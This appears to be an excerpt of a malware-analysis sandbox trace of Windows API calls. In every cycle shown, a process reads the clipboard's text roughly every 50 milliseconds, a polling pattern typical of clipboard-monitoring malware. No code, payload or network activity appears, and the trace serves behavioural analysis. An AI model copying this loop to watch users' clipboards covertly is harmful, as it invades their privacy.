[0275.898] OpenClipboard (hWndNewOwner=0x0) returned 1
[0275.898] GetClipboardData (uFormat=0x1) returned 0x0
[0275.898] CloseClipboard () returned 1
[0275.898] Sleep (dwMilliseconds=0x32)
[0275.915] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xff6b0617, dwHighDateTime=0x1d96e12))
[0275.915] OpenClipboard (hWndNewOwner=0x0) returned 1
[0275.915] GetClipboardData (uFormat=0x1) returned 0x0
[0275.915] CloseClipboard () returned 1
[0275.915] Sleep (dwMilliseconds=0x32)
[0275.929] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xff6d689f, dwHighDateTime=0x1d96e12))
[0275.929] OpenClipboard (hWndNewOwner=0x0) returned 1
[0275.929] GetClipboardData (uFormat=0x1) returned 0x0
[0275.930] CloseClipboard () returned 1
[0275.930] Sleep (dwMilliseconds=0x32)
[0275.947] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xff6fcaf3, dwHighDateTime=0x1d96e12))
[0275.947] OpenClipboard (hWndNewOwner=0x0) returned 1
[0275.947] GetClipboardData (uFormat=0x1) returned 0x0
[0275.947] CloseClipboard () returned 1
[0275.947] Sleep (dwMilliseconds=0x32)
[0275.961] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xff722d57, dwHighDateTime=0x1d96e12))
[0275.961] OpenClipboard (hWndNewOwner=0x0) returned 1
[0275.961] GetClipboardData (uFormat=0x1) returned 0x0
[0275.961] CloseClipboard () returned 1
[0275.961] Sleep (dwMilliseconds=0x32)
[0275.976] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xff748f7b, dwHighDateTime=0x1d96e12))
[0275.976] OpenClipboard (hWndNewOwner=0x0) returned 1
[0275.976] GetClipboardData (uFormat=0x1) returned 0x0
[0275.977] CloseClipboard () returned 1
[0275.977] Sleep (dwMilliseconds=0x32)
[0275.993] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xff76f20f, dwHighDateTime=0x1d96e12))
[0275.993] OpenClipboard (hWndNewOwner=0x0) returned 1
[0275.993] GetClipboardData (uFormat=0x1) returned 0x0
[0275.993] CloseClipboard () returned 1
[0275.993] Sleep (dwMilliseconds=0x32)
[0276.007] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xff79546e, dwHighDateTime=0x1d96e12))
[0276.007] OpenClipboard (hWndNewOwner=0x0) returned 1
[0276.008] GetClipboardData (uFormat=0x1) returned 0x0
[0276.008] CloseClipboard () returned 1
[0276.008] Sleep (dwMilliseconds=0x32)
[0276.033] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xff7bb6e8, dwHighDateTime=0x1d96e12))
[0276.033] OpenClipboard (hWndNewOwner=0x0) returned 1
[0276.033] GetClipboardData (uFormat=0x1) returned 0x0
[0276.033] CloseClipboard () returned 1
[0276.033] Sleep (dwMilliseconds=0x32)
[0276.045] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xff7e1939, dwHighDateTime=0x1d96e12))
[0276.045] OpenClipboard (hWndNewOwner=0x0) returned 1
[0276.046] GetClipboardData (uFormat=0x1) returned 0x0
[0276.046] CloseClipboard () returned 1
[0276.046] Sleep (dwMilliseconds=0x32)
[0276.065] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xff807b82, dwHighDateTime=0x1d96e12))
[0276.065] OpenClipboard (hWndNewOwner=0x0) returned 1
[0276.065] GetClipboardData (uFormat=0x1) returned 0x0
[0276.065] CloseClipboard () returned 1
[0276.066] Sleep (dwMilliseconds=0x32)
[0276.083] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xff82dd7a, dwHighDateTime=0x1d96e12))
[0276.083] OpenClipboard (hWndNewOwner=0x0) returned 1
[0276.083] GetClipboardData (uFormat=0x1) returned 0x0
[0276.084] CloseClipboard () returned 1
[0276.084] Sleep (dwMilliseconds=0x32)
[0276.098] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xff854018, dwHighDateTime=0x1d96e12))
[0276.098] OpenClipboard (hWndNewOwner=0x0) returned 1
[0276.098] GetClipboardData (uFormat=0x1) returned 0x0
[0276.098] CloseClipboard () returned 1
[0276.098] Sleep (dwMilliseconds=0x32)
[0276.103] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xff87a270, dwHighDateTime=0x1d96e12))
[0276.103] OpenClipboard (hWndNewOwner=0x0) returned 1
[0276.103] GetClipboardData (uFormat=0x1) returned 0x0
[0276.104] CloseClipboard () returned 1
[0276.104] Sleep (dwMilliseconds=0x32)
[0276.120] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xff8a0506, dwHighDateTime=0x1d96e12))
[0276.120] OpenClipboard (hWndNewOwner=0x0) returned 1
[0276.121] GetClipboardData (uFormat=0x1) returned 0x0
[0276.121] CloseClipboard () returned 1
[0276.121] Sleep (dwMilliseconds=0x32)
[0276.158] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xff8ec97c, dwHighDateTime=0x1d96e12))
[0276.158] OpenClipboard (hWndNewOwner=0x0) returned 1
[0276.158] GetClipboardData (uFormat=0x1) returned 0x0
[0276.158] CloseClipboard () returned 1
[0276.159] Sleep (dwMilliseconds=0x32)
[0276.194] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xff938ee6, dwHighDateTime=0x1d96e12))
[0276.194] OpenClipboard (hWndNewOwner=0x0) returned 1
[0276.196] GetClipboardData (uFormat=0x1) returned 0x0
[0276.196] CloseClipboard () returned 1
[0276.196] Sleep (dwMilliseconds=0x32)
[0276.211] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xff985301, dwHighDateTime=0x1d96e12))
[0276.212] OpenClipboard (hWndNewOwner=0x0) returned 1
[0276.212] GetClipboardData (uFormat=0x1) returned 0x0
[0276.212] CloseClipboard () returned 1
[0276.212] Sleep (dwMilliseconds=0x32)
[0276.229] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xff9ab568, dwHighDateTime=0x1d96e12))
[0276.229] OpenClipboard (hWndNewOwner=0x0) returned 1
[0276.229] GetClipboardData (uFormat=0x1) returned 0x0
[0276.229] CloseClipboard () returned 1
[0276.229] Sleep (dwMilliseconds=0x32)
[0276.286] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xffa1dc80, dwHighDateTime=0x1d96e12))
[0276.286] OpenClipboard (hWndNewOwner=0x0) returned 1
[0276.287] GetClipboardData (uFormat=0x1) returned 0x0
[0276.287] CloseClipboard () returned 1
[0276.287] Sleep (dwMilliseconds=0x32)
[0276.294] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xffa43e9d, dwHighDateTime=0x1d96e12))
[0276.294] OpenClipboard (hWndNewOwner=0x0) returned 1
[0276.294] GetClipboardData (uFormat=0x1) returned 0x0
[0276.294] CloseClipboard () returned 1
[0276.294] Sleep (dwMilliseconds=0x32)
[0276.313] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xffa6a0ab, dwHighDateTime=0x1d96e12))
[0276.313] OpenClipboard (hWndNewOwner=0x0) returned 1
[0276.316] GetClipboardData (uFormat=0x1) returned 0x0
[0276.316] CloseClipboard () returned 1
[0276.316] Sleep (dwMilliseconds=0x32)
[0276.350] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xffab65d2, dwHighDateTime=0x1d96e12))
[0276.350] OpenClipboard (hWndNewOwner=0x0) returned 1
[0276.350] GetClipboardData (uFormat=0x1) returned 0x0
[0276.350] CloseClipboard () returned 1
[0276.350] Sleep (dwMilliseconds=0x32)
[0276.367] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xffb02a6b, dwHighDateTime=0x1d96e12))
[0276.367] OpenClipboard (hWndNewOwner=0x0) returned 1
[0276.367] GetClipboardData (uFormat=0x1) returned 0x0
[0276.367] CloseClipboard () returned 1
[0276.368] Sleep (dwMilliseconds=0x32)
[0276.389] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xffb28cae, dwHighDateTime=0x1d96e12))
[0276.389] OpenClipboard (hWndNewOwner=0x0) returned 1
[0276.391] GetClipboardData (uFormat=0x1) returned 0x0
[0276.391] CloseClipboard () returned 1
[0276.391] Sleep (dwMilliseconds=0x32)
[0276.399] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xffb4ef76, dwHighDateTime=0x1d96e12))
[0276.399] OpenClipboard (hWndNewOwner=0x0) returned 1
[0276.399] GetClipboardData (uFormat=0x1) returned 0x0
[0276.399] CloseClipboard () returned 1
[0276.399] Sleep (dwMilliseconds=0x32)
[0276.415] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xffb75188, dwHighDateTime=0x1d96e12))
[0276.415] OpenClipboard (hWndNewOwner=0x0) returned 1
[0276.415] GetClipboardData (uFormat=0x1) returned 0x0
[0276.415] CloseClipboard () returned 1
[0276.415] Sleep (dwMilliseconds=0x32)
[0276.453] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xffbc1631, dwHighDateTime=0x1d96e12))
[0276.453] OpenClipboard (hWndNewOwner=0x0) returned 1
[0276.453] GetClipboardData (uFormat=0x1) returned 0x0
[0276.453] CloseClipboard () returned 1
[0276.453] Sleep (dwMilliseconds=0x32)
[0276.461] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xffbe78b5, dwHighDateTime=0x1d96e12))
[0276.461] OpenClipboard (hWndNewOwner=0x0) returned 1
[0276.461] GetClipboardData (uFormat=0x1) returned 0x0
[0276.461] CloseClipboard () returned 1
[0276.461] Sleep (dwMilliseconds=0x32)
[0276.492] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xffc33d1e, dwHighDateTime=0x1d96e12))
[0276.492] OpenClipboard (hWndNewOwner=0x0) returned 1
[0276.492] GetClipboardData (uFormat=0x1) returned 0x0
[0276.492] CloseClipboard () returned 1
[0276.492] Sleep (dwMilliseconds=0x32)
[0276.510] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xffc59f9b, dwHighDateTime=0x1d96e12))
[0276.510] OpenClipboard (hWndNewOwner=0x0) returned 1
[0276.510] GetClipboardData (uFormat=0x1) returned 0x0
[0276.510] CloseClipboard () returned 1
[0276.510] Sleep (dwMilliseconds=0x32)
[0276.527] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xffc80208, dwHighDateTime=0x1d96e12))
[0276.527] OpenClipboard (hWndNewOwner=0x0) returned 1
[0276.527] GetClipboardData (uFormat=0x1) returned 0x0
[0276.527] CloseClipboard () returned 1
[0276.527] Sleep (dwMilliseconds=0x32)
[0276.539] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xffca780a, dwHighDateTime=0x1d96e12))
[0276.539] OpenClipboard (hWndNewOwner=0x0) returned 1
[0276.539] GetClipboardData (uFormat=0x1) returned 0x0
[0276.539] CloseClipboard () returned 1
[0276.539] Sleep (dwMilliseconds=0x32)
[0276.556] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xffccc697, dwHighDateTime=0x1d96e12))
[0276.556] OpenClipboard (hWndNewOwner=0x0) returned 1
[0276.556] GetClipboardData (uFormat=0x1) returned 0x0
[0276.556] CloseClipboard () returned 1
[0276.556] Sleep (dwMilliseconds=0x32)
[0276.572] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xffcf28f8, dwHighDateTime=0x1d96e12))
[0276.572] OpenClipboard (hWndNewOwner=0x0) returned 1
[0276.572] GetClipboardData (uFormat=0x1) returned 0x0
[0276.572] CloseClipboard () returned 1
[0276.572] Sleep (dwMilliseconds=0x32)
[0276.586] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xffd18b43, dwHighDateTime=0x1d96e12))
[0276.586] OpenClipboard (hWndNewOwner=0x0) returned 1
[0276.586] GetClipboardData (uFormat=0x1) returned 0x0
[0276.586] CloseClipboard () returned 1
[0276.586] Sleep (dwMilliseconds=0x32)
[0276.601] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xffd3ef2d, dwHighDateTime=0x1d96e12))
[0276.601] OpenClipboard (hWndNewOwner=0x0) returned 1
[0276.601] GetClipboardData (uFormat=0x1) returned 0x0
[0276.602] CloseClipboard () returned 1
[0276.602] Sleep (dwMilliseconds=0x32)
[0276.617] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xffd64fef, dwHighDateTime=0x1d96e12))
[0276.617] OpenClipboard (hWndNewOwner=0x0) returned 1
[0276.617] GetClipboardData (uFormat=0x1) returned 0x0
[0276.617] CloseClipboard () returned 1
[0276.617] Sleep (dwMilliseconds=0x32)
[0276.633] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xffd8b363, dwHighDateTime=0x1d96e12))
[0276.633] OpenClipboard (hWndNewOwner=0x0) returned 1
[0276.633] GetClipboardData (uFormat=0x1) returned 0x0
[0276.633] CloseClipboard () returned 1
[0276.633] Sleep (dwMilliseconds=0x32)
[0276.648] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xffdb14e5, dwHighDateTime=0x1d96e12))
[0276.648] OpenClipboard (hWndNewOwner=0x0) returned 1
[0276.648] GetClipboardData (uFormat=0x1) returned 0x0
[0276.648] CloseClipboard () returned 1
[0276.648] Sleep (dwMilliseconds=0x32)
[0276.673] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xffdd76f6, dwHighDateTime=0x1d96e12))
[0276.673] OpenClipboard (hWndNewOwner=0x0) returned 1
[0276.673] GetClipboardData (uFormat=0x1) returned 0x0
[0276.673] CloseClipboard () returned 1
[0276.673] Sleep (dwMilliseconds=0x32)
[0276.679] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xffdfd97e, dwHighDateTime=0x1d96e12))
[0276.679] OpenClipboard (hWndNewOwner=0x0) returned 1
[0276.679] GetClipboardData (uFormat=0x1) returned 0x0
[0276.680] CloseClipboard () returned 1
[0276.680] Sleep (dwMilliseconds=0x32)
[0276.697] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xffe23d14, dwHighDateTime=0x1d96e12))
[0276.697] OpenClipboard (hWndNewOwner=0x0) returned 1
[0276.697] GetClipboardData (uFormat=0x1) returned 0x0
[0276.697] CloseClipboard () returned 1
[0276.697] Sleep (dwMilliseconds=0x32)
[0276.711] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xffe49e37, dwHighDateTime=0x1d96e12))
[0276.711] OpenClipboard (hWndNewOwner=0x0) returned 1
[0276.711] GetClipboardData (uFormat=0x1) returned 0x0
[0276.711] CloseClipboard () returned 1
[0276.711] Sleep (dwMilliseconds=0x32)
[0276.726] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xffe7019c, dwHighDateTime=0x1d96e12))
[0276.726] OpenClipboard (hWndNewOwner=0x0) returned 1
[0276.726] GetClipboardData (uFormat=0x1) returned 0x0
[0276.726] CloseClipboard () returned 1
[0276.726] Sleep (dwMilliseconds=0x32)
[0276.743] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xffe962f0, dwHighDateTime=0x1d96e12))
[0276.743] OpenClipboard (hWndNewOwner=0x0) returned 1
[0276.743] GetClipboardData (uFormat=0x1) returned 0x0
[0276.743] CloseClipboard () returned 1
[0276.744] Sleep (dwMilliseconds=0x32)
[0276.758] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xffebc578, dwHighDateTime=0x1d96e12))
[0276.758] OpenClipboard (hWndNewOwner=0x0) returned 1
[0276.758] GetClipboardData (uFormat=0x1) returned 0x0
[0276.758] CloseClipboard () returned 1
[0276.758] Sleep (dwMilliseconds=0x32)
[0276.773] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xffee2771, dwHighDateTime=0x1d96e12))
[0276.773] OpenClipboard (hWndNewOwner=0x0) returned 1
[0276.773] GetClipboardData (uFormat=0x1) returned 0x0
[0276.774] CloseClipboard () returned 1
[0276.774] Sleep (dwMilliseconds=0x32)
[0276.789] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfff089e1, dwHighDateTime=0x1d96e12))
[0276.789] OpenClipboard (hWndNewOwner=0x0) returned 1
[0276.789] GetClipboardData (uFormat=0x1) returned 0x0
[0276.789] CloseClipboard () returned 1
[0276.789] Sleep (dwMilliseconds=0x32)
[0276.831] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfff54ea9, dwHighDateTime=0x1d96e12))
[0276.836] OpenClipboard (hWndNewOwner=0x0) returned 1
[0276.836] GetClipboardData (uFormat=0x1) returned 0x0
[0276.836] CloseClipboard () returned 1
[0276.836] Sleep (dwMilliseconds=0x32)
[0276.851] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfffa135b, dwHighDateTime=0x1d96e12))
[0276.851] OpenClipboard (hWndNewOwner=0x0) returned 1
[0276.851] GetClipboardData (uFormat=0x1) returned 0x0
[0276.851] CloseClipboard () returned 1
[0276.851] Sleep (dwMilliseconds=0x32)
[0276.868] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfffc7528, dwHighDateTime=0x1d96e12))
[0276.868] OpenClipboard (hWndNewOwner=0x0) returned 1
[0276.868] GetClipboardData (uFormat=0x1) returned 0x0
[0276.868] CloseClipboard () returned 1
[0276.868] Sleep (dwMilliseconds=0x32)
[0276.883] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfffed801, dwHighDateTime=0x1d96e12))
[0276.883] OpenClipboard (hWndNewOwner=0x0) returned 1
[0276.883] GetClipboardData (uFormat=0x1) returned 0x0
[0276.883] CloseClipboard () returned 1
[0276.883] Sleep (dwMilliseconds=0x32)
[0276.898] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0x13a6d, dwHighDateTime=0x1d96e13))
[0276.898] OpenClipboard (hWndNewOwner=0x0) returned 1
[0276.898] GetClipboardData (uFormat=0x1) returned 0x0
[0276.898] CloseClipboard () returned 1
[0276.898] Sleep (dwMilliseconds=0x32)
[0276.915] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0x39cb0, dwHighDateTime=0x1d96e13))
[0276.915] OpenClipboard (hWndNewOwner=0x0) returned 1
[0276.915] GetClipboardData (uFormat=0x1) returned 0x0
[0276.915] CloseClipboard () returned 1
[0276.915] Sleep (dwMilliseconds=0x32)
[0276.929] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0x5ff59, dwHighDateTime=0x1d96e13))
[0276.929] OpenClipboard (hWndNewOwner=0x0) returned 1
[0276.929] GetClipboardData (uFormat=0x1) returned 0x0
[0276.930] CloseClipboard () returned 1
[0276.930] Sleep (dwMilliseconds=0x32)
[0276.947] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0x86197, dwHighDateTime=0x1d96e13))
[0276.947] OpenClipboard (hWndNewOwner=0x0) returned 1
[0276.947] GetClipboardData (uFormat=0x1) returned 0x0
[0276.947] CloseClipboard () returned 1
[0276.947] Sleep (dwMilliseconds=0x32)
[0276.961] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xac3e0, dwHighDateTime=0x1d96e13))
[0276.961] OpenClipboard (hWndNewOwner=0x0) returned 1
[0276.961] GetClipboardData (uFormat=0x1) returned 0x0
[0276.961] CloseClipboard () returned 1
[0276.961] Sleep (dwMilliseconds=0x32)
[0276.976] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xd2620, dwHighDateTime=0x1d96e13))
[0276.976] OpenClipboard (hWndNewOwner=0x0) returned 1
[0276.976] GetClipboardData (uFormat=0x1) returned 0x0
[0276.976] CloseClipboard () returned 1
[0276.976] Sleep (dwMilliseconds=0x32)
[0276.993] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf8869, dwHighDateTime=0x1d96e13))
[0276.993] OpenClipboard (hWndNewOwner=0x0) returned 1
[0276.993] GetClipboardData (uFormat=0x1) returned 0x0
[0276.993] CloseClipboard () returned 1
[0276.993] Sleep (dwMilliseconds=0x32)
[0277.015] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0x11eaca, dwHighDateTime=0x1d96e13))
[0277.015] OpenClipboard (hWndNewOwner=0x0) returned 1
[0277.015] GetClipboardData (uFormat=0x1) returned 0x0
[0277.015] CloseClipboard () returned 1
[0277.015] Sleep (dwMilliseconds=0x32)
[0277.023] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0x144d26, dwHighDateTime=0x1d96e13))
[0277.023] OpenClipboard (hWndNewOwner=0x0) returned 1
[0277.023] GetClipboardData (uFormat=0x1) returned 0x0
[0277.023] CloseClipboard () returned 1
[0277.023] Sleep (dwMilliseconds=0x32)
[0277.040] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0x16af8b, dwHighDateTime=0x1d96e13))
[0277.040] OpenClipboard (hWndNewOwner=0x0) returned 1
[0277.040] GetClipboardData (uFormat=0x1) returned 0x0
[0277.040] CloseClipboard () returned 1
[0277.040] Sleep (dwMilliseconds=0x32)
[0277.054] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0x1911da, dwHighDateTime=0x1d96e13))
[0277.054] OpenClipboard (hWndNewOwner=0x0) returned 1
[0277.054] GetClipboardData (uFormat=0x1) returned 0x0
[0277.054] CloseClipboard () returned 1
[0277.054] Sleep (dwMilliseconds=0x32)
[0277.071] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0x1b7436, dwHighDateTime=0x1d96e13))
[0277.071] OpenClipboard (hWndNewOwner=0x0) returned 1
[0277.071] GetClipboardData (uFormat=0x1) returned 0x0
[0277.072] CloseClipboard () returned 1
[0277.072] Sleep (dwMilliseconds=0x32)
[0277.086] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0x1dd68e, dwHighDateTime=0x1d96e13))
[0277.086] OpenClipboard (hWndNewOwner=0x0) returned 1
[0277.086] GetClipboardData (uFormat=0x1) returned 0x0
[0277.086] CloseClipboard () returned 1
[0277.086] Sleep (dwMilliseconds=0x32)
[0277.101] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0x2038e8, dwHighDateTime=0x1d96e13))
[0277.101] OpenClipboard (hWndNewOwner=0x0) returned 1
[0277.101] GetClipboardData (uFormat=0x1) returned 0x0
[0277.101] CloseClipboard () returned 1
[0277.101] Sleep (dwMilliseconds=0x32)
[0277.121] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0x22ac4c, dwHighDateTime=0x1d96e13))
[0277.121] OpenClipboard (hWndNewOwner=0x0) returned 1
[0277.121] GetClipboardData (uFormat=0x1) returned 0x0
[0277.121] CloseClipboard () returned 1
[0277.121] Sleep (dwMilliseconds=0x32)
[0277.133] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0x24fdab, dwHighDateTime=0x1d96e13))
[0277.133] OpenClipboard (hWndNewOwner=0x0) returned 1
[0277.133] GetClipboardData (uFormat=0x1) returned 0x0
[0277.133] CloseClipboard () returned 1
[0277.133] Sleep (dwMilliseconds=0x32)
[0277.148] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0x275fee, dwHighDateTime=0x1d96e13))
[0277.148] OpenClipboard (hWndNewOwner=0x0) returned 1
[0277.148] GetClipboardData (uFormat=0x1) returned 0x0
[0277.148] CloseClipboard () returned 1
[0277.148] Sleep (dwMilliseconds=0x32)
[0277.165] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0x29c25d, dwHighDateTime=0x1d96e13))
[0277.165] OpenClipboard (hWndNewOwner=0x0) returned 1
[0277.165] GetClipboardData (uFormat=0x1) returned 0x0
[0277.165] CloseClipboard () returned 1
[0277.165] Sleep (dwMilliseconds=0x32)
